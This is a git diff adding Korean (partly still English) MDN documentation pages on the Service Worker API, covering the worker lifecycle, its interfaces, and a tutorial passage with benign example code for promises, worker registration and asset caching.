+<h3 id="다운로드_설치_활성화">다운로드, 설치, 활성화</h3>
+
+<p>서비스 워커를 살펴보면 다음과 같은 생명주기를 볼 수 있습니다.</p>
+
+<ol>
+ <li>다운로드</li>
+ <li>설치</li>
+ <li>활성화</li>
+</ol>
+
+<p>서비스 워커가 제어하는 사이트/페이지에 사용자가 처음 접근하는 순간 서비스 워커가 즉시 다운로드됩니다.</p>
+
+<p>서비스 워커의 업데이트는 다음 경우에 발생합니다.</p>
+
+<ul>
+ <li>범위 내 페이지로의 탐색 발생</li>
+ <li>서비스 워커에서 이벤트가 발생했는데, 서비스 워커를 이전 24시간 내에 다운로드하지 않은 경우</li>
+</ul>
+
+<p>다운로드한 파일이 더 새로운 버전인 경우 서비스 워커의 설치를 시도합니다. 버전 비교는 기존 서비스 워커 파일과의 바이트 단위 비교 결과를 사용합니다. 이 페이지/사이트에서 서비스 워커를 처음 발견한 경우에도 "새로운 버전"으로 취급합니다.</p>
+
+<p>기존 서비스 워커가 없으면 설치를 시도하고, 설치를 성공하면 활성화합니다.</p>
+
+<p>기존에 서비스 워커가 존재하던 경우, 새로운 버전을 백그라운드에서 설치하지만 활성화는 아직 하지 않습니다. 이 시점의 워커를 <u>대기 중인 워커</u>라고 부릅니다. 대기 중인 워커는 이전 버전의 서비스 워커를 사용하는 페이지가 모두 닫힌 경우 활성화되어 <u>활성 워커</u>가 됩니다. {{DOMxRef("ServiceWorkerGlobalScope.skipWaiting()")}}을 사용해 활성화 절차를 더 빨리 시작할 수 있으며, 새로운 활성 워커는 {{DOMxRef("Clients.claim()")}}을 사용해 이전 페이지를 회수할 수 있습니다.</p>
+
+<p>생명주기 중 발생하는 이벤트 중 하나는 {{domxref("ServiceWorkerGlobalScope/install_event", "install")}} 이벤트입니다. 이 이벤트의 대표적인 사용 방법은, 예를 들면 내장 저장소 API를 사용해 캐시를 만들고, 오프라인 상황에서 사용할 자산을 준비하는 등, 서비스 워커의 사용을 준비하는 것입니다.</p>
+
+<p>{{domxref("ServiceWorkerGlobalScope/activate_event", "activate")}} 이벤트도 있습니다. <code>activate</code>의 시점에서는 과거의 캐시를 지우고, 구버전 서비스 워커에 관련된 항목을 청소하는 등 여러가지를 정리하기에 좋습니다.</p>
+
+<p>서비스 워커는 {{domxref("FetchEvent")}} 이벤트를 사용해 요청에 응답할 수 있습니다. {{domxref("FetchEvent.respondWith()")}} 메서드를 사용해 요청에 대한 응답을 원하는 방식으로 자유롭게 바꾸세요.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>install</code>과 <code>activate</code> 이벤트 처리는 시간이 꽤 걸릴 수도 있기에, 서비스 워커 명세는 {{domxref("ExtendableEvent.waitUntil", "waitUntil()")}} 메서드를 제공합니다. <code>install</code>이나 <code>activate</code>에서 <code>waitUntil()</code>을 호출하면서 매개변수로 프로미스를 제공하면, 성공적으로 이행하기 전까지는 기능 이벤트가 발생하지 않습니다.</p>
+</div>
+
+<p>기본적인 첫 서비스 워커를 차근차근 만드는 방법은 <a href="/ko/docs/Web/API/Service_Worker_API/Using_Service_Workers">서비스 워커 사용하기</a>에서 읽어볼 수 있습니다.</p>
+
+<h2 id="다른_사용법_아이디어">다른 사용법 아이디어</h2>
+
+<p>서비스 워커의 설계는 다음과 같은 용도로 사용하는 것도 감안했습니다.</p>
+
+<ul>
+ <li>백그라운드 데이터 동기화.</li>
+ <li>다른 출처에서의 리소스 요청을 응답.</li>
+ <li>위치정보, 자이로 센서 등 계산에 높은 비용이 들어가는 다수의 페이지에서 함께 사용할 수 있도록 데이터 업데이트를 중앙화.</li>
+ <li>개발 목적으로서 CoffeeScript, Less, CJS/AMD 모듈 등의 의존성 관리와 컴파일.</li>
+ <li>백그라운드 서비스 훅.</li>
+ <li>특정 URL 패턴에 기반한 사용자 지정 템플릿 제공.</li>
+ <li>성능 향상. 사진 앨범의 다음 사진 몇 장처럼, 사용자가 필요로 할 것으로 생각되는 리소스의 프리페칭 등.</li>
+</ul>
+
+<p>미래의 서비스 워커는 웹 플랫폼이 네이티브 앱의 능력에 보다 근접하도록 여러 가지 유용한 기능을 수행할 수 있을 것입니다. 흥미롭게도 다른 명세에서도 서비스 워커 맥락을 사용할 수 있으며, 이미 다음과 같은 곳에서 사용하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://github.com/slightlyoff/BackgroundSync">백그라운드 동기화</a>: 아무 사용자도 사이트에 없을 때 서비스 워커를 가동해 캐시를 업데이트 하는 등의 작업을 수행.</li>
+ <li><a href="/ko/docs/Web/API/Push_API">푸시 메시지에 반응</a>: 서비스 워커를 가동, 새로운 콘텐츠가 이용 가능하다는 메시지를 사용자에게 전송.</li>
+ <li>특정 시간과 날짜에 반응.</li>
+ <li>지오펜스 진입.</li>
+</ul>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{DOMxRef("Cache")}} {{Experimental_Inline}}</dt>
+ <dd>{{DOMxRef("ServiceWorker")}} 생명주기의 일부로서 캐시되는 {{domxref("Request")}} / {{domxref("Response")}} 객체 쌍의 저장소를 나타냅니다.</dd>
+ <dt>{{DOMxRef("CacheStorage")}} {{Experimental_Inline}}</dt>
+ <dd>{{DOMxRef("Cache")}} 객체의 저장소를 나타냅니다. {{DOMxRef("ServiceWorker")}}가 접근할 수 있는 모든 유명 캐시의 주 디렉토리를 제공하며, {{domxref("Cache")}} 객체를 가리키는 문자열 이름의 맵핑도 관리합니다.</dd>
+ <dt>{{DOMxRef("Client")}} {{Experimental_Inline}}</dt>
+ <dd>서비스 워커 클라이언트의 범위를 나타냅니다. 서비스 워커 클라이언트는 브라우저 맥락에서의 문서이거나, 활성화된 워커가 제어하는 {{domxref("SharedWorker")}}입니다.</dd>
+ <dt>{{DOMxRef("Clients")}} {{Experimental_Inline}}</dt>
+ <dd>{{DOMxRef("Client")}} 객체의 목록을 나타냅니다. Clients는 현재 {{glossary("출처")}}의 활성 서비스 워커 클라이언트에 접근하는 주요 방법입니다.</dd>
+ <dt>{{DOMxRef("ExtendableEvent")}} {{Experimental_Inline}}</dt>
+ <dd>서비스 워커 생명주기의 일부로서 {{DOMxRef("ServiceWorkerGlobalScope")}}에서 발생하는 <code>install</code>과 <code>activate</code> 이벤트의 지속시간을 늘립니다. 이로써 데이터베이스 스키마를 업그레이드하거나, 만료된 캐시 항목을 지우는 작업 등이 끝나기 전까지 {{DOMxRef("FetchEvent")}}와 같은 기능 이벤트가 {{DOMxRef("ServiceWorker")}}로 전달되지 않도록 합니다.</dd>
+ <dt>{{DOMxRef("ExtendableMessageEvent")}} {{Experimental_Inline}}</dt>
+ <dd>The event object of a {{event("message_(ServiceWorker)","message")}} event fired on a service worker (when a channel message is received on the {{DOMxRef("ServiceWorkerGlobalScope")}} from another context) — extends the lifetime of such events.</dd>
+ <dt>{{DOMxRef("FetchEvent")}} {{Experimental_Inline}}</dt>
+ <dd>The parameter passed into the {{DOMxRef("ServiceWorkerGlobalScope.onfetch")}} handler, <code>FetchEvent</code> represents a fetch action that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a {{DOMxRef("ServiceWorker")}}. It contains information about the request and resulting response, and provides the {{DOMxRef("FetchEvent.respondWith", "FetchEvent.respondWith()")}} method, which allows us to provide an arbitrary response back to the controlled page.</dd>
+ <dt>{{DOMxRef("InstallEvent")}} {{Experimental_Inline}}</dt>
+ <dd>The parameter passed into the {{DOMxRef("ServiceWorkerGlobalScope.oninstall", "oninstall")}} handler, the <code>InstallEvent</code> interface represents an install action that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a {{DOMxRef("ServiceWorker")}}. As a child of {{DOMxRef("ExtendableEvent")}}, it ensures that functional events such as {{DOMxRef("FetchEvent")}} are not dispatched during installation.</dd>
+ <dt>{{DOMxRef("NavigationPreloadManager")}} {{Experimental_Inline}}</dt>
+ <dd>Provides methods for managing the preloading of resources with a service worker.</dd>
+ <dt>{{DOMxRef("Navigator.serviceWorker")}}</dt>
+ <dd>Returns a {{DOMxRef("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{DOMxRef("ServiceWorker")}} objects for the <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">associated document</a>.</dd>
+ <dt>{{DOMxRef("NotificationEvent")}} {{Experimental_Inline}}</dt>
+ <dd>The parameter passed into the {{DOMxRef("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}} handler, the <code>NotificationEvent</code> interface represents a notification click event that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a {{DOMxRef("ServiceWorker")}}.</dd>
+ <dt>{{DOMxRef("ServiceWorker")}} {{Experimental_Inline}}</dt>
+ <dd>Represents a service worker. Multiple browsing contexts (e.g. pages, workers, etc.) can be associated with the same <code>ServiceWorker</code> object.</dd>
+ <dt>{{DOMxRef("ServiceWorkerContainer")}} {{Experimental_Inline}}</dt>
+ <dd>Provides an object representing the service worker as an overall unit in the network ecosystem, including facilities to register, unregister, and update service workers, and access the state of service workers and their registrations.</dd>
+ <dt>{{DOMxRef("ServiceWorkerGlobalScope")}}</dt>
+ <dd>Represents the global execution context of a service worker.</dd>
+ <dt>{{DOMxRef("ServiceWorkerMessageEvent")}} {{Deprecated_Inline}}</dt>
+ <dd>Represents a message sent to a {{DOMxRef("ServiceWorkerGlobalScope")}}. <strong>Note that this interface is deprecated in modern browsers. Service worker messages will now use the {{DOMxRef("MessageEvent")}} interface, for consistency with other web messaging features.</strong></dd>
+ <dt>{{DOMxRef("ServiceWorkerRegistration")}} {{Experimental_Inline}}</dt>
+ <dd>Represents a service worker registration.</dd>
+ <dt>{{DOMxRef("ServiceWorkerState")}} {{Experimental_Inline}}</dt>
+ <dd>Associated with its <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker" title="The ServiceWorker interface of the ServiceWorker API provides a reference to a service worker. Multiple browsing contexts (e.g. pages, workers, etc.) can be associated with the same service worker, each through a unique ServiceWorker object."><code>ServiceWorker</code></a>'s state.</dd>
+ <dt>{{DOMxRef("SyncEvent")}} {{Non-standard_Inline}}</dt>
+ <dd>
+ <p>The SyncEvent interface represents a sync action that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a ServiceWorker.</p>
+ </dd>
+ <dt>{{DOMxRef("SyncManager")}} {{Non-standard_Inline}}</dt>
+ <dd>Provides an interface for registering and listing sync registrations.</dd>
+ <dt>{{DOMxRef("WindowClient")}} {{Experimental_Inline}}</dt>
+ <dd>Represents the scope of a service worker client that is a document in a browser context, controlled by an active worker. This is a special type of {{DOMxRef("Client")}} object, with some additional methods and properties available.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Service Workers')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://serviceworke.rs">ServiceWorker 쿡북</a></li>
+ <li><a href="/ko/docs/Web/API/Service_Worker_API/Using_Service_Workers">서비스 워커 사용하기</a></li>
+ <li><a href="https://github.com/mdn/sw-test">서비스 워커 기초 코드 예제</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/ko/docs/Web/API/Web_Workers_API/basic_usage">웹 워커 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/service_worker_api/using_service_workers/index.html b/files/ko/web/api/service_worker_api/using_service_workers/index.html
new file mode 100644
index 0000000000..9c9ffcf6e0
--- /dev/null
+++ b/files/ko/web/api/service_worker_api/using_service_workers/index.html
@@ -0,0 +1,521 @@
+---
+title: Using Service Workers
+slug: Web/API/Service_Worker_API/Using_Service_Workers
+translation_of: Web/API/Service_Worker_API/Using_Service_Workers
+---
+<p>{{ServiceWorkerSidebar}}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<div class="summary">
+<p>본 문서에서는 서비스 워커를 시작하기 위한 기본적인 아키텍처, 서비스 워커 등록, 새로운 서비스 워커의 설치와 활성화 과정, 서비스 워커 업데이트, 캐시 제어 및 사용자 정의 응답에 대한 정보를 오프라인 기능을 갖춘 간단한 예제를 통해 제공합니다.</p>
+</div>
+
+<h2 id="서비스_워커에_앞서서...">서비스 워커에 앞서서...</h2>
+
+<p><font><font>웹 사용자들이 몇 년 동안 겪었던 가장 중요한 문제 중 하나는 인터넷 연결이 끊어지면 작동하지 않는겁니다. 세계 최고의 웹 앱조차 연결이 없을 때는 끔찍한 사용자 경험을 제공합니다. 우리의 <a href="https://developer.mozilla.org/en-US/Apps/Build/Offline">오프라인</a> 페이지가 보여주듯이, 이 문제를 해결하기 위한 기술을 개발하기 위한 여러가지 시도가 있었고, 일부 문제는 해결되었습니다. 그러나 가장 중요한 문제는 리소스 캐싱과 커스텀 네트워크(예를 들어 WebSocket등을 이용한 리소스 로드) 통신 제어 메커니즘이 여전히 좋지 않다는 점입니다.</font></font></p>
+
+<p>직전의 시도였던 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Using_the_application_cache"><font><font>AppCache</font></font></a><font><font> 는 캐싱할 리소스를 쉽게 지정할 수 있었기 때문에 좋은 생각이였던것 처럼 보였지만, 당신이 지정한 동작에 대한 가정을 앱이 정확하게 따르지 않을 경우 앱이 끔찍하게 망가집니다. 자세히 알고 싶으면 Jake Archibald의 </font></font><a href="http://alistapart.com/article/application-cache-is-a-douchebag">Application Cache is a Douchebag</a> <font><font>을 참고하세요.</font></font></p>
+
+<div class="note">
+<p><strong>참고</strong>: Firefox 44에서 <a href="/en-US/docs/Web/HTML/Using_the_application_cache">AppCache</a> 를 사용해서 페이지의 오프라인 지원을 제공할 경우 콘솔에 <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">서비스 워커</a> 를 대신 사용하는것에 대한 제안이 경고로 표시됩니다. ({{bug("1204581")}})</p>
+</div>
+
+<p>서비스 워커는 최종적으로 이러한 문제를 해결해야 합니다. 서비스 워커 구문은 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Using_the_application_cache"><font><font>AppCache</font></font></a><font><font> </font></font>보다 복잡하지만, 자바스크립트를 사용해서 세밀하게 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Using_the_application_cache"><font><font>AppCache</font></font></a><font><font> </font></font>의 암묵적인 동작들을 제어할 수 있으므로 이 문제 그 이상을 처리 할 수 있습니다. 서비스 워커를 사용하면 먼저 캐싱된 리소스를 사용하도록 앱을 설정해서 오프라인일 경우에도 일관적인 경험을 제공한다음 네트워크 연결이 돌아올 때 더 많은 데이터를 불러오게 할 수 있습니다.<font><font> (보통 </font></font><a href="http://offlinefirst.org/" rel="noopener"><font><font>오프라인 우선</font></font></a><font><font> 이라고 함</font><font>) </font></font>이 기능은 네이티브 앱에서는 이미 널리 사용되는 구현법이며, 이는 네이티브 앱이 웹 앱 대신 선택되는 주된 이유 중 하나입니다.</p>
+
+<h2 id="서비스워커_개발을_위한_환경_설정">서비스워커 개발을 위한 환경 설정</h2>
+
+<p>서비스워커가 지원되는 최신 브라우저에서 많은 서비스 워커 기능들이 활성화되어 있습니다. 만약 현재 사용하시는 브라우저에서 데모 코드가 돌아가지 않으면, 아래와 같이 환경을 설정해주세요.</p>
+
+<ul>
+ <li><strong>Firefox Nightly</strong>: <code>about:config</code> 로 가서 <code>dom.serviceWorkers.enabled</code> 값을 true 로 변경하고, 브라우저 재시작</li>
+ <li><strong>Chrome Canary</strong>: <code>chrome://flags</code> 로 가서 <code>experimental-web-platform-features</code> 을 키고, 브라우저 재시작 (몇몇 기능은 크롬에서도 활성화되어 있습니다)</li>
+ <li><strong>Opera</strong>: <code>opera://flags</code> 로 가서 <code>Support for ServiceWorker</code> 를 활성화 하고, 브라우저 재시작</li>
+</ul>
+
+<p>애플리케이션을 HTTPS 에서 실행시키세요 - 서비스워커는 보안상의 이유로 HTTPS 에서만 동작합니다. Github 은 HTTPS 를 지원하기 때문에 서비스워커를 시험해보기 좋은 사이트입니다. 이외에 localhost 도 https 로 간주되니 로컬 개발환경도 활용해보세요.</p>
+
+<h2 id="기본_구조">기본 구조</h2>
+
+<p>다음의 단계들은 서비스 워커의 기본적인 설정법입니다:</p>
+
+<ol>
+ <li>{{domxref("serviceWorkerContainer.register()")}}을 통해서 서비스 워커 URL을 가져오고, 등록합니다.</li>
+ <li>등록에 성공하면, {{domxref("ServiceWorkerGlobalScope") }} 범위에서 서비스 워커가 실행됩니다. 이는 (메인 스크립트 실행 쓰레드를 running off하면서) 기본적으로 DOM 접근이 없는 작업 문맥을 갖습니다.</li>
+ <li>이제 서비스 워커는 이벤트를 처리할 준비가 되었습니다.</li>
+ <li>서비스 워커가 제어하는 페이지들에 연속적으로 접근하게 될 때 서비스 워커 설치를 시도하게 됩니다. 서비스 워커는 항상 처음으로 설치 이벤트를 받습니다.(설치 이벤트는 IndexedDB를 생성하고, 사이트 assets을 캐싱하는 처리를 시작할 때 사용될 수 있습니다.) 설치 이벤트는 모든 것을 오프라인에서 사용할 수 있게 하는, 네이티브 또는 파이어폭스 OS 앱을 설치하는 프로시저와 같은 종류입니다.</li>
+ <li><code>oninstall</code> 핸들러가 완료되면, 서비스 워커가 설치되었다고 할 수 있습니다.</li>
+ <li>다음은 활성(activation) 이벤트입니다. 서비스 워커가 설치되면, 활성 이벤트를 받게 됩니다.  <code>onactivate</code> 는 이전 버전의 서비스 워커 스크립트에서 사용된 리소스들을 삭제하는 용도로서 주로 사용됩니다.</li>
+ <li>이제 서비스 워커가 페이지들을 제어하게 될 것이지만, 오직 <code>register()</code> 가 성공적으로 수행된 후에 페이지들이 열리게 될 것입니다. 즉, 문서는 서비스 워커와 함께, 또는 없이도 라이프를 시작하고 유지합니다. 따라서 문서는 실제로 서비스 워커에 제어되기 위해서 재시작 되어야 할 것입니다.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12636/sw-lifecycle.png" style="display: block; height: 867px; margin: 0px auto; width: 579px;"></p>
+
+<p>The below graphic shows a summary of the available service worker events:</p>
+
+<p><img alt="install, activate, message, fetch, sync, push" src="https://mdn.mozillademos.org/files/12632/sw-events.png" style="display: block; margin: 0px auto;"></p>
+
+<h3 id="Promises">Promises</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> are a great mechanism for running async operations, with success dependant on one another. This is central to the way service workers work.<br>
+ <br>
+ Promises can do a great many things, but for now, all you need to know is that if something returns a promise, you can attach <code>.then()</code> to the end and include callbacks inside it for success, failure, etc., or you can insert <code>.catch()</code> on the end if you want to include a failure callback.</p>
+
+<p>Let’s compare a traditional synchronous callback structure to its asynchronous promise equivalent.</p>
+
+<h4 id="sync">sync</h4>
+
+<pre class="brush: js">try {
+  var value = myFunction();
+  console.log(value);
+} catch(err) {
+  console.log(err);
+}</pre>
+
+<h4 id="async">async</h4>
+
+<pre class="brush: js">myFunction().then(function(value) {
+  console.log(value);
+}).catch(function(err) {
+  console.log(err);
+});</pre>
+
+<p>In the first example, we have to wait for <code>myFunction()</code> to run and return <code>value</code> before any more of the code can execute. In the second example, <code>myFunction()</code> returns a promise for <code>value</code>, then the rest of the code can carry on running. When the promise resolves, the code inside <code>then</code> will be run, asynchronously.<br>
+ <br>
+ Now for a real example — what if we wanted to load images dynamically, but we wanted to make sure the images were loaded before we tried to display them? This is a standard thing to want to do, but it can be a bit of a pain. We can use <code>.onload</code> to only display the image after it’s loaded, but what about events that start happening before we start listening to them? We could try to work around this using <code>.complete</code>, but it’s still not foolproof, and what about multiple images? And, ummm, it’s still synchronous, so blocks the main thread.<br>
+ <br>
+ Instead, we could build our own promise to handle this kind of case. (See our <a href="https://github.com/mdn/promises-test">Promises test</a> example for the source code, or <a href="https://mdn.github.io/promises-test/">look at it running live</a>.)</p>
+
+<p>{{note("A real service worker implementation would use caching and onfetch rather than the deprecated XMLHttpRequest API. Those features are not used here so that you can focus on understanding Promises.")}}</p>
+
+<pre class="brush: js">function imgLoad(url) {
+  return new Promise(function(resolve, reject) {
+    var request = new XMLHttpRequest();
+    request.open('GET', url);
+    request.responseType = 'blob';
+
+    request.onload = function() {
+      if (request.status == 200) {
+        resolve(request.response);
+      } else {
+        reject(Error('Image didn\'t load successfully; error code:' + request.statusText));
+      }
+    };
+
+    request.onerror = function() {
+      reject(Error('There was a network error.'));
+    };
+
+    request.send();
+  });
+}</pre>
+
+<p>We return a new promise using the <code>Promise()</code> constructor, which takes as an argument a callback function with <code>resolve</code> and <code>reject</code> parameters. Somewhere in the function, we need to define what happens for the promise to resolve successfully or be rejected — in this case return a 200 OK status or not — and then call <code>resolve</code> on success, or <code>reject</code> on failure. The rest of the contents of this function is fairly standard XHR stuff, so we won’t worry about that for now.</p>
+
+<p>When we come to call the <code>imgLoad()</code> function, we call it with the url to the image we want to load, as we might expect, but the rest of the code is a little different:</p>
+
+<pre class="brush: js">var body = document.querySelector('body');
+var myImage = new Image();
+
+imgLoad('myLittleVader.jpg').then(function(response) {
+  var imageURL = window.URL.createObjectURL(response);
+  myImage.src = imageURL;
+  body.appendChild(myImage);
+}, function(Error) {
+  console.log(Error);
+});</pre>
+
+<p>On to the end of the function call, we chain the promise <code>then()</code> method, which contains two functions — the first one is executed when the promise successfully resolves, and the second is called when the promise is rejected. In the resolved case, we display the image inside <code>myImage</code> and append it to the body (it’s argument is the <code>request.response</code> contained inside the promise’s <code>resolve</code> method); in the rejected case we return an error to the console.</p>
+
+<p>This all happens asynchronously.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can also chain promise calls together, for example:<br>
+ <code>myPromise().then(success, failure).then(success).catch(failure);</code></p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: You can find a lot more out about promises by reading Jake Archibald’s excellent <a href="http://www.html5rocks.com/en/tutorials/es6/promises/">JavaScript Promises: there and back again</a>.</p>
+</div>
+
+<h2 id="Service_workers_demo">Service workers demo</h2>
+
+<p>To demonstrate just the very basics of registering and installing a service worker, we have created a simple demo called <a href="https://github.com/mdn/sw-test">sw-test</a>, which is a simple Star wars Lego image gallery. It uses a promise-powered function to read image data from a JSON object and load the images using Ajax, before displaying the images in a line down the page. We’ve kept things static and simple for now. It also registers, installs, and activates a service worker, and when more of the spec is supported by browsers it will cache all the files required so it will work offline!</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8243/demo-screenshot.png" style="display: block; height: 410px; margin: 0px auto; width: 480px;"><br>
+ <br>
+ <br>
+ You can see the <a href="https://github.com/mdn/sw-test/">source code on GitHub</a>, and <a href="https://mdn.github.io/sw-test/">view the example live</a>. The one bit we’ll call out here is the promise (see <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L22-L47">app.js lines 22-47</a>), which is a modified version of what you read about above, in the <a href="https://github.com/mdn/promises-test">Promises test demo</a>. It is different in the following ways:</p>
+
+<ol>
+ <li>In the original, we only passed in a URL to an image we wanted to load. In this version, we pass in a JSON fragment containing all the data for a single image (see what they look like in <a href="https://github.com/mdn/sw-test/blob/gh-pages/image-list.js">image-list.js</a>). This is because all the data for each promise resolve has to be passed in with the promise, as it is asynchronous. If you just passed in the url, and then tried to access the other items in the JSON separately when the <code>for()</code> loop is being iterated through later on, it wouldn’t work, as the promise wouldn’t resolve at the same time as the iterations are being done (that is a synchronous process.)</li>
+ <li>We actually resolve the promise with an array, as we want to make the loaded image blob available to the resolving function later on in the code, but also the image name, credits and alt text (see <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L31-L34">app.js lines 31-34</a>). Promises will only resolve with a single argument, so if you want to resolve with multiple values, you need to use an array/object.</li>
+ <li>To access the resolved promise values, we then access this function as you’d then expect (see <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L60-L64">app.js lines 60-64</a>). This may seem a bit odd at first, but this is the way promises work.</li>
+</ol>
+
+<h2 id="Enter_service_workers">Enter service workers</h2>
+
+<p>Now let’s get on to service workers!</p>
+
+<h3 id="Registering_your_worker">Registering your worker</h3>
+
+<p>The first block of code in our app’s JavaScript file — <code>app.js</code> — is as follows. This is our entry point into using service workers.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw-test/sw.js', {scope: '/sw-test/'})
+  .then(function(reg) {
+    // registration worked
+    console.log('Registration succeeded. Scope is ' + reg.scope);
+  }).catch(function(error) {
+    // registration failed
+    console.log('Registration failed with ' + error);
+  });
+}</pre>
+
+<ol>
+ <li>The outer block performs a feature detection test to make sure service workers are supported before trying to register one.</li>
+ <li>Next, we use the {{domxref("ServiceWorkerContainer.register()") }} function to register the service worker for this site, which is just a JavaScript file residing inside our app (note this is the file's URL relative to the origin, not the JS file that references it.)</li>
+ <li>The <code>scope</code> parameter is optional, and can be used to specify the subset of your content that you want the service worker to control. In this case, we have specified '<code>/sw-test/'</code>, which means all content under the app's origin. If you leave it out, it will default to this value anyway, but we specified it here for illustration purposes.</li>
+ <li>The <code>.then()</code> promise function is used to chain a success case onto our promise structure.  When the promise resolves successfully, the code inside it executes.</li>
+ <li>Finally, we chain a <code>.catch()</code> function onto the end that will run if the promise is rejected.</li>
+</ol>
+
+<p>This registers a service worker, which runs in a worker context, and therefore has no DOM access. You then run code in the service worker outside of your normal pages to control their loading.<br>
+ <br>
+ A single service worker can control many pages. Each time a page within your scope is loaded, the service worker is installed against that page and operates on it. Bear in mind therefore that you need to be careful with global variables in the service worker script: each page doesn’t get its own unique worker.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Your service worker functions like a proxy server, allowing you to modify requests and responses, replace them with items from its own cache, and more.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: One great thing about service workers is that if you use feature detection like we’ve shown above, browsers that don’t support service workers can just use your app online in the normal expected fashion. Furthermore, if you use AppCache and SW on a page, browsers that don’t support SW but do support AppCache will use that, and browsers that support both will ignore the AppCache and let SW take over.</p>
+</div>
+
+<h4 id="Why_is_my_service_worker_failing_to_register">Why is my service worker failing to register?</h4>
+
+<p>This could be for the following reasons:</p>
+
+<ol>
+ <li>You are not running your application through HTTPS.</li>
+ <li>The path to your service worker file is not written correctly — it needs to be written relative to the origin, not your app’s root directory. In our example, the worker is at <code>https://mdn.github.io/sw-test/sw.js</code>, and the app’s root is <code>https://mdn.github.io/sw-test/</code>. But the path needs to be written as <code>/sw-test/sw.js</code>, not <code>/sw.js</code>.</li>
+ <li>The service worker being pointed to is on a different origin to that of your app. This is also not allowed.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12630/important-notes.png" style="display: block; height: 277px; margin: 0px auto; width: 574px;"></p>
+
+<p>Also note:</p>
+
+<ul>
+ <li>The service worker will only catch requests from clients under the service worker's scope.</li>
+ <li>The max scope for a service worker is the location of the worker.</li>
+ <li>If your server worker is active on a client being served with the <code>Service-Worker-Allowed</code> header, you can specify a list of max scopes for that worker.</li>
+ <li>In Firefox, Service Worker APIs are hidden and cannot be used when the user is in <a href="https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history">private browsing mode</a>.</li>
+</ul>
+
+<h3 id="Install_and_activate_populating_your_cache">Install and activate: populating your cache</h3>
+
+<p>After your service worker is registered, the browser will attempt to install then activate the service worker for your page/site.<br>
+ <br>
+ The install event is fired when an install is successfully completed. The install event is generally used to populate your browser’s offline caching capabilities with the assets you need to run your app offline. To do this, we use Service Worker’s brand new storage API — {{domxref("cache")}} — a global on the service worker that allows us to store assets delivered by responses, and keyed by their requests. This API works in a similar way to the browser’s standard cache, but it is specific to your domain. It persists until you tell it not to — again, you have full control.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The Cache API is not supported in every browser. (See the {{anch("Browser support")}} section for more information.) If you want to use this now, you could consider using a polyfill like the one available in <a href="https://github.com/Polymer/topeka/blob/master/sw.js">Google's Topeka demo</a>, or perhaps store your assets in <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
+</div>
+
+<p>Let’s start this section by looking at a code sample — this is the <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L18">first block you’ll find in our service worker</a>:</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});</pre>
+
+<ol>
+ <li>Here we add an <code>install</code> event listener to the service worker (hence <code>this</code>), and then chain a {{domxref("ExtendableEvent.waitUntil()") }} method onto the event — this ensures that the service worker will not install until the code inside <code>waitUntil()</code> has successfully occurred.</li>
+ <li>Inside <code>waitUntil()</code> we use the <a href="/en-US/docs/Web/API/CacheStorage/open"><code>caches.open()</code></a> method to create a new cache called <code>v1</code>, which will be version 1 of our site resources cache. This returns a promise for a created cache; once resolved, we then call a function that calls <code>addAll()</code> on the created cache, which for its parameter takes an array of origin-relative URLs to all the resources you want to cache.</li>
+ <li>If the promise is rejected, the install fails, and the worker won’t do anything. This is ok, as you can fix your code and then try again the next time registration occurs.</li>
